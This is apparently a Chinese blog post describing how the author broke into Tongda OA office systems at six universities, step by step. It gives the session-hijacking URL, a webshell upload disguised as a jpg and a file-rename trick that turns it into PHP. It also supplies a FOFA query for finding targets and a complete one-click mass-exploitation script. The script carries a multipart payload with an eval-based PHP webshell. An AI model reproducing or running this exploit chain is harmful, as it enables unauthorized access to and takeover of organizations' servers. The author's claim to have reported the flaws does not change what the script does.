说在前面

一天,在网上看到一篇文章,是关于通达信科OA的在线用户类似越权访问登录漏洞的,突然来了兴致,便去找了找有关通达信科的OA系统,找了找顺带试了一下,这一试还真发现问题了,然后一不小心就进了人家的后台。来都来了,那总得get shell再走吧~
以下附上本人get shell的全过程。本人只是个菜鸡,一起学习,勿喷~

介绍

北京通达信科科技有限公司隶属于中国兵器工业信息中心,简称通达信科。这是一支以协同管理软件研发与实施、服务与咨询为主营业务的高科技团队。通达信科将自身定位于中国协同OA软件的领跑者,中国优秀的私有云方案提供商。

这里来介绍介绍通达信科的建站系统。
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。这是一款功能强大的办公软件,它集成了多种沟通交流的方式:内部短信、手机短信、内部交流区BBS、内部邮件、语音视频聊天,可以即时通讯、移动办公;而且它为各行业不同规模的众多用户提供信息化管理能力,包括流程审批、行政办公、日常事务、数据统计分析,这些种种都帮助了广大用户降低沟通和管理成本,提升生产和决策效率。 可是这也极大的方便了攻击者,攻击者通过各种方式登录后台后,可以更方便地进行一系列的攻击。

根据我这么多天的挖掘,我发现通达OA几乎都会存在一个类似于越权的漏洞,但是利用的方式确实比较特殊。
登录后台后都可以通过菜单中的系统管理中的系统信息来查看其中的本地绝对路径;然后再进入附件管理中新建一个附件存储目录;都会有一个图片浏览设置、图片浏览和个人文件柜,不过所在的地方会根据不同网站进行改变,需要有一定的耐心去寻找。这几个都是最后get shell的关键步骤。

下面听我慢慢道来。

全过程

先找到其oa系统的路径https://x.x.x

在其路径后面加上“/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ”,然后访问其路径获取其phpsessid

可以看到我已经获取到了这个phpsessid。这个时候就可以访问后台页面了。
但是如果页面显示的是RELOGIN,那么说明存在漏洞,但是管理员现在不在线,所以需要等他在线。就想这样,这时候虽然也有phpsessid,但是没什么用,还是无法登录进去

访问https://x.x.x/general ,直接进入后台

进入后台后,就要来查看下本地的绝对路径了,这步特别重要,因为这样后面传马才知道传到了哪里,才能用后门管理工具来进行连接

这里点击菜单->系统管理->系统信息

查看其中的本地绝对路径,这里是在D盘下的

然后再去菜单中点击附件管理

新建一个附件目录

这里我需要用大写Webroot来绕过,因为webroot会被过滤。注意这里是D盘下

点击菜单中的知识管理中的图片浏览设置

然后添加图片目录。这里要注意的是需要将发布范围里添加一个系统管理员才可以。路径还是那个webroot路径。

点击菜单中个人事务中的个人文件柜

然后添加一个文件,也就是我的shell。这里要注意要将木马改为jpg后缀,否则路径无法查看。

点击知识管理中的图片浏览

查看木马路径。这个时候需要记住这个文件名称,这个路径是固定的

然后我们要把鼠标放到木马上面,点击重命名,然后就会打开一个新的tab页面。这时使用火狐进行抓包:先随便改个名字,点击保存,然后会拦截到一个post的封包。这个时候就需要修改ATTACHMENT_NAME_POSTFIX的属性为php.(这里后面有个.),然后重放这个数据包,可以看到已经修改成功

然后找到之前的那个文件名,将上传的原始的那个文件名2.jpg改为166.php.,这个是根据上传的路径以及我们改的名称来定的。最后就能访问到马了


这里第一个高校get shell到此结束,后续的高校get shell过程也大同小异,但是具体的细节略微有些不同,这里我再举一例,让大家来感受一下吧

前面的操作都一样,这里就直接贴图了

获取phpsession

进入后台


还是要查看其中的本地绝对路径,这里不贴图了,是在E盘下面

然后点击附件管理

新建一个附件目录

这里用大写Webroot来绕过,注意这里是写成E盘下,这里就与上面的D盘不同了

这里也有不同,是点击公共文件中的图片浏览设置

添加图片目录。这里要注意的是需要将发布范围里添加一个系统管理员才可以。路径还是那个webroot路径。

点击个人事务中的个人文件柜

然后添加一个文件,也就是我的shell,这里要注意需要将木马改为jpg后缀,否则路径无法查看。

点击公共文件中的图片浏览

查看木马路径。这个时候记住这个文件名称,这个路径是固定的

然后我们要把鼠标放到木马上面,点击重命名,然后就会打开一个新的tab页面。这时使用火狐进行抓包:先随便改个名字,点击保存,然后会拦截到一个post的封包。这个时候就需要修改ATTACHMENT_NAME_POSTFIX的属性为php.(这里后面有个.),然后重放这个数据包,可以看到已经修改成功

然后找到之前的那个文件名,将上传的原始的那个文件名2.jpg改为166.php.,这个是根据上传的路径以及我们改的名称来定的。最后就能访问到马了

这里大家应该能感受到其中的略微差别,自己注意下就行了。

按照这种操作,我get shell了6家高校,已经提交到漏洞平台了,正在审核~目前已经通过了几个,希望全部都能过吧,嘻嘻

结尾

最后这里就附上一个fofa的查询语法吧。
app="TDXK-通达OA"
再附上脚本,是一位大师傅写的。
一键GetShell脚本
脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){return "";}PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");return PHPSESSID;
}
function JudgeOK(url,Cookie){res = HttpGet(url."/general/",Cookie);if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){return "0";}else{return "1";}}
function GetRoot(content){list = StrRe(content,Rootre);num = GetArrayNum(list);num = num/2;i = 0;while(i<num){if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){return list[ToInt(i*2+1)];}i = i+1;}return "";
}
function GetWebRoot(url,Cookie){res = HttpGet(url."/general/system/reg_view/",Cookie);return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=©_TO_ID=admin%2C©_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);return GettextMiddle(res[0],"&PIC_ID=",yinhao);
}
function GetImg(url,Root,Cookie){res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);list = StrRe(res[0],shellpathre);num = GetArrayNum(list);num = num/2;i = 0;while(i<num){if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){return list[ToInt(i*2+1)];}i = i+1;}return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);list = StrRe(res[0],contentidre);if(GetArrayNum(list) >= 2){return list[1];}return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");list = StrRe(res[0],attachmentidre);if(GetArrayNum(list) >= 2){return list[1];}return "";
}
function GetShell(url){PHPSESSID = GetCookie(url);if(PHPSESSID == ""){return "";}Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";if(JudgeOK(url,Cookie)=="1"){WebRoot = GetWebRoot(url,Cookie);AddPath(url,WebRoot,Cookie);AddImgPath(url,WebRoot,Cookie);ShellPost = ReadFile("script\综合漏洞\OAShell.txt");PushImg(url,ShellPost,Cookie);path = GetImg(url,WebRoot,Cookie);CONTENTID = GetCONTENTID(url,Cookie);ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");print("Shell路径:",realshellpath,"密码:test");}else{return "";}
}
function main(args){print("请输入要要检测的列表文件:"); list = StrSplit(ReadFile(input()),StrRN());i = 0;num = GetArrayNum(list);while(i < num){url=list[ToInt(i)];print("当前检测的连接:".url);GetShell(url);i=i+1;}print("检测完毕");
}

OAShell.txt:

-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SUBJECT"166.jpg
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_NO"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="KEYWORD"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_NAME"н¨Îĵµ
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_TYPE"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""
Content-Type: application/octet-stream-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_NAME"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_DIR"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="DISK_ID"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""
Content-Type: application/octet-stream-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_DESC"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_ID"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="OP"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="PD"1
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SORT_ID"0
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="FILE_SORT"2
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY_SIZE"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SHARE_USER"-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"
Content-Type: image/jpeg<?php @eval($_POST['test']); ?>
-----------------------------33072116513621237124579432636--

附Cheetah脚本语言下载地址:

https://github.com/Wker666/Demo

利用通达信科建站系统通用型漏洞,Get Shell多家高校全过程相关推荐

  1. 织梦CMS建站系统被曝漏洞 几十万网站沦为木马网站

    最新消息,瑞星与 360 今日对外发布警示,称国内知名的 PHP 开源网站管理系统织梦 CMS(DedeCms)安装包被发现植入后门,黑客可通过此后门直接获得网站的控制权限,获取存储在服务器上的文件和 ...

  2. 某数字化校园系统通用型文件上传漏洞getshell(渗透测试-0day)

    目录 1.前言 2.文件上传点(实战复现) 3.提交SRC 4.getshell POC 声明: 仅用于渗透测试,白帽漏洞挖掘.请勿用做非法用途,非法使用造成后果自负. 1.前言 偶然在F12sec上 ...

  3. ucms通用建站系统php,UCMS通用建站系统

    下面我们对UCMS通用建站系统文件阐述相关使用资料和UCMS通用建站系统文件的更新信息. UCMS通用建站系统 UCMS通用建站系统是一款简单的开源内容管理系统,可以非常方便的通过它来快速开发各种各种 ...

  4. 宝塔实测搭建开源PHP通用CMS建站系统源码

    大家好啊,我是测评君,欢迎来到web测评. 本期给大家带来一套开源PHP通用CMS建站系统的源码. 技术架构 主要语言框架 : PHP7.2 + mysql5.6 + Nginx + ThinkPHP ...

  5. 利用第三方建站系统Pageadmin CMS建站个人经验及相关的问题的处理

    Pageadmin CMS这个第三方的建站系统想必就不用我多说了,不懂的请自己Baidu. -------------------------------------------------- 我不得 ...

  6. 网站制作教程:新手如何用PageAdmin建站系统做网站

    PageAdmin是国内很知名的建站系统,国内超过30%的网站都是由PageAdmin搭建而成,现在很多公司或单位都没有自己的独立网站,利于pageadmin建站系统,很容易的搭建出自己的网站,网上有 ...

  7. php手机建站,zzzphp免费开源建站系统含手机站

    zzzphp免费开源建站系统采用PHP+mysql/access/sqlite免费建站整站系统,所有源码开源完整,支持手机自动同步. zzzphp免费开源建站系统功能: 1.支持mysql,sqlit ...

  8. 这些年我们用过的CMS建站系统

    随着互联网不断发展,电子商务将会成为中国经济发展中涌动的一股巨大的暗流,在未来几年将很快会形成井喷状态.近年来我们也认识了各类不同的CMS建站系统,不断推出了各类企业网站解决方案,为企业电子商务发展提 ...

  9. 实力非凡 国内主流开源建站系统推荐

    一个网站的运行,离不开好的管理系统和IDC供应商,就像鱼儿离不开水一样.根据不同的行业,对网站系统有着不同的功能需求,对程序的负载能力.安全性.易用性.二次开发修改要求也不同. 当前主流的建站系统有很 ...

最新文章

  1. 推荐算法---FM,协同过滤
  2. P2123-皇后游戏
  3. 基于python的科技论文_实地科研 | 上海财经大学 | 金融科技、商业分析、人工智能:机器学习、人工智能及其在金融科技中的应用(2021.1.25开课)...
  4. 1.3万亿条数据查询毫秒级响应,如何做到的?
  5. 决策树留一法python代码_西瓜书 第4章 决策树 读书笔记
  6. webfigure显示到网页上所踩过的坑--自写servlet
  7. 计量经济学计算机答案第一章,计量经济学计算机作业
  8. python 马赛克还原_卷积神经网络教你如何还原被马赛克的文本图像
  9. 中兴ZXVb860av2.1t刷机固件,芯片晶晨S905l-b,不失效线刷包,当贝桌面
  10. 大数据解决方案,案例分享
  11. 快递停发区域查询(需指定快递公司) 接口说明
  12. 海康威视摄像头用yolo检测行人的一些问题
  13. HMS Core Discovery第15期直播预告|构筑立体世界,共造沉浸式营销
  14. ubuntu18.04安装搜狗拼音输入法
  15. 深入理解计算机系统-之-数值存储(二)--C程序打印变量的每一字节或者位
  16. iOS百度地图SDK之实时绘制轨迹(后台仍执行)
  17. 网易企业邮箱申请,申请企业邮箱流程分享~
  18. 《PyInstaller打包实战指南》第九节 应用程序安全
  19. nextcloud安装日历插件使用并设置导入导出和云端同步(安卓手机和ios手机)
  20. 哪一刻让你觉得世人皆苦?

热门文章

  1. 【爬虫Practice】学习过程中遇到的问题
  2. 华为交换机忘记super密码
  3. perl常用数据分析
  4. scikit-learn: isotonic regression(保序回归,很有意思,仅做知识点了解,但几乎没用到过)
  5. 《来自星星的我》和男神一起游戏吧
  6. 苹果将可快速寻找iPhone和朋友合并成新App
  7. 做人工智能薪资怎么样?AI从业收入高吗?
  8. Pkg.go.dev 开源了
  9. 哈夫曼abcdef编码
  10. 一女生写的如果我是男生